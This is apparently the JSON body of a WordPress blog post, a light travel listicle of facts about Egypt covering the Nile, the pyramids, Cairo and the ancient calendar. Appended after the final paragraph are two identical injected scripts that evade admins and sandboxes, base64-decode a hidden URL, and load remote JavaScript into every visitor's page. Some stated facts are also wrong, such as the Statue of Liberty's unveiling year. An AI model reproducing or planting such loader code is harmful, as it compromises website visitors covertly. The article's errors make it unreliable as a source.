Enjoy this 4K Scenic Relaxation Film featuring the incredible landscapes and history of Egypt. From the Pyramids of Giza to wonders of the Nile River, Egypt is a country waiting to be explored. Where is your favorite place in Egypt?<\/p>\n<h2 id=\"h-3-egypt-is-home-to-the-longest-river-in-africa\">3. Egypt is home to the longest river in Africa<\/h2>\n<p>It\u2019s the\u00a0Nile River, of course. The Nile has been considered by many as the longest river in the world, but the Amazon is ever-so-slightly longer \u2013 measuring a whopping 6,992km (to the Nile\u2019s 6,650.)<\/p>\n<h2 id=\"h-4-the-statue-of-liberty-was-originally-intended-for-the-suez-canal\">4. The Statue of Liberty was originally intended for the Suez Canal<\/h2>\n<p>When French sculptor Fr\u00e9d\u00e9ric-Auguste Bartholdi first had the idea to build a statue of a peasant woman, dressed in robes and holding up a massive torch, he originally wanted it to stand at the entrance of Suez canal with the name \u2018Egypt Bringing Light to Asia\u2019.<\/p>\n<p>Nothing came of the project, but Bartholdi persevered with his idea, and was eventually commissioned to build the statue in New York Harbour. \u2018Liberty Enlightening the World\u2019 was unveiled in 1876, 7 years after the Suez canal was finished.<\/p>\n<h2 id=\"h-5-cairo-is-the-third-largest-city-in-africa-by-population\">5. Cairo is the third-largest city in Africa (by population)<\/h2>\n<p>Love the buzz of a big city? You\u2019ll love Cairo, Egypt\u2019s\u00a0capital city. It\u2019s home to 10 million people, making it the highest-populated city in Africa bar two. Kinshasa (DR Congo) and Lagos (Nigeria) both have populations of more than 15 million.<\/p>\n<h2 id=\"h-6-the-last-ancient-wonder-of-the-world-is-in-cairo\">6. The last Ancient Wonder of the World is in Cairo<\/h2>\n<p>The Great Pyramid\u00a0of Khufu is the biggest of the\u00a0Pyramids of Giza, and is the last ancient wonder of the world left standing.<\/p>\n<p>The remaining 6 wonders of the ancient world have all been destroyed over the last few centuries. They are (or were): the Hanging Gardens of Babylon (Iraq), the Temple of Artemis (Turkey), the Statue of Zeus (Greece), the Mausoleum of Halicarnassus (Turkey), Colossus of Rhodes (Greece) and the Lighthouse of Alexandria (Egypt).<\/p>\n<h2 id=\"h-7-the-largest-food-court-in-the-world-is-in-cairo\">7. The largest food court in the world is in Cairo<\/h2>\n<p>Got a huge appetite for a huge food court? Allow me to introduce you to Oasis, Cairo\u2019s behemoth of a food court. 25 restaurants, taking up 41,000 square metres and seating more than 4,000 diners at a time. Make sure you\u2019re hungry!<\/p>\n<h2 id=\"h-8-alexandria-is-named-after-alexander-the-great\">8. Alexandria is named after Alexander the Great<\/h2>\n<p>Yup. A lot changed in\u00a0ancient Egypt\u00a0after Alexander the Great conquered the country in 331 BC. Egypt\u2019s second city, once home to the Lighthouse which was an ancient wonder of the world, was also named after the conqueror.<\/p>\n<h2 id=\"h-9-the-world-s-largest-embankment-dam-is-in-egypt\">9. The world\u2019s largest embankment dam is in Egypt<\/h2>\n<p>True story. The controversial\u00a0Aswan High Dam\u00a0crosses the Nile and is part of the Egypt-Sudan border. It also creates Lake Nassar, which is one of the biggest reservoirs in the world.<\/p>\n<h2 id=\"h-10-egypt-is-home-to-7-unesco-sites\">10. Egypt is home to 7 UNESCO Sites<\/h2>\n<p>These are Abu Mena, the Necropolis of Thebes, Cairo, the Pyramids of Giza, the Nubian monuments (home to the Abu Simbel temple), the Saint Catherine Area and Whale Valley.<\/p>\n<p>Some of the stone blocks used to build many of Egypt\u2019s temples are believed to weigh more than 50 tonnes. Historians still don\u2019t know how these were moved during\u00a0ancient times.<\/p>\n<h2 id=\"h-11-the-pyramids-of-giza-were-once-bright-white\">11. The Pyramids of Giza were once bright white<\/h2>\n<p>To think, they used to be more impressive than they are now. Back when they were constructed (roughly 2500 BC), they were covered in a limestone casing that gave them an intense glow \u2013 especially with the Egyptian sun hitting them. Sadly this has worn off over the years, or the millenia more like.<\/p>\n<h2 id=\"h-12-the-pyramids-weren-t-built-by-slaves\">12. The pyramids weren\u2019t built by slaves<\/h2>\n<p>Experts believe that the pyramids were built by paid labourers, who travelled from far and wide to construct the pyramids. It took a total of 100,000+ people to build the great pyramids.<\/p>\n<p>This isn\u2019t to say the ancient Egyptians didn\u2019t keep slaves. They did, but they were more likely used for domestic tasks or working in the fields.<\/p>\n<h2 id=\"h-13-ancient-egyptians-believed-that-makeup-had-healing-powers\">13. Ancient Egyptians believed that makeup had healing powers<\/h2>\n<p>Makeup was popular with\u00a0Egyptian women\u00a0and men alike. They believed makeup kept them safe from the wrath of the Gods. Ancient Egyptians typically wore red makeup made of red ochre and water, or green makeup made of copper.<\/p>\n<p>The ancient Egyptians were big fans of jewellery too, believing that the more they wore, the more attractive they\u2019d be in the eyes of the Gods.<\/p>\n<h2 id=\"h-14-ancient-egyptians-invented-the-12-month-calendar\">14. Ancient Egyptians invented the 12-month calendar<\/h2>\n<p>Next time you\u2019re scrolling through your office calendar, just remember, you have the Egyptians to thank. The calendar invented by the ancient Egyptians was almost identical to the calendar we still use today, except each of their months was 30 days. That meant they had a 360-day year, but they made up for it by holding a 5-day festival at the end of each year (which if you ask me sounds like a neat way of doing things.)<\/p>\n<h2 id=\"h-15-egypt-borders-two-seas\">15. Egypt borders two seas<\/h2>\n<p>When you visit Egypt and find yourself ready for some beachside sunbathing, you\u2019ll be spoilt for choice. The nation boasts over 1,800 miles of coastline, divided between the\u00a0Red sea\u00a0to the east and the\u00a0Mediterranean sea\u00a0to the north. Just remember to pack sunscreen.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vulputate amet magna bibendum et nibh at.
